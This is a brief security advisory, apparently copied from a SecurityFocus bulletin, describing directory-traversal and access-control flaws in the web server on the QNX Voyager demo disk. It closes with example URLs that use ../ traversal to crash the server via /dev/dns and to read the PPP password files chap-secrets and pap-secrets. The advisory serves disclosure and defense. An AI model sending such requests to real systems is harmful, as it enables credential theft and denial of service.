17 lines
No EOL
1.2 KiB
Text
17 lines
No EOL
1.2 KiB
Text
source: https://www.securityfocus.com/bid/1648/info
|
|
|
|
The web server supplied with the QNX Voyager demo disk contains several vulnerabilities.
|
|
|
|
First, Voyager will follow relative paths passed to it in requests. This includes ../ style paths, which will allow Voyager to serve pages outside of the "document root".
|
|
Another vulnerability is that the web server does not have sufficient security restrictions - this means that the web server can access any file, including protected files and special /dev entries.
|
|
|
|
As well, due to the integration of the web browser and web server, information used by the Photon GUI is easily exposed by requesting files under /.photon/. Additionally, html files generated by the web browser (error messages, for example) and the QNX configuration interface share the same directory as published html files.
|
|
|
|
While the Voyager web server is not intended to be used in a production environment, and is in fact intended only to be a demo of the QNX OS, users should be aware of these design errors.
|
|
|
|
DoS the web server:
|
|
http://target/../../dev/dns
|
|
|
|
Recent PPP passwords (modem build of Voyager):
|
|
http://target/../../etc/ppp/chap-secrets
|
|
http://target/../../etc/ppp/pap-secrets |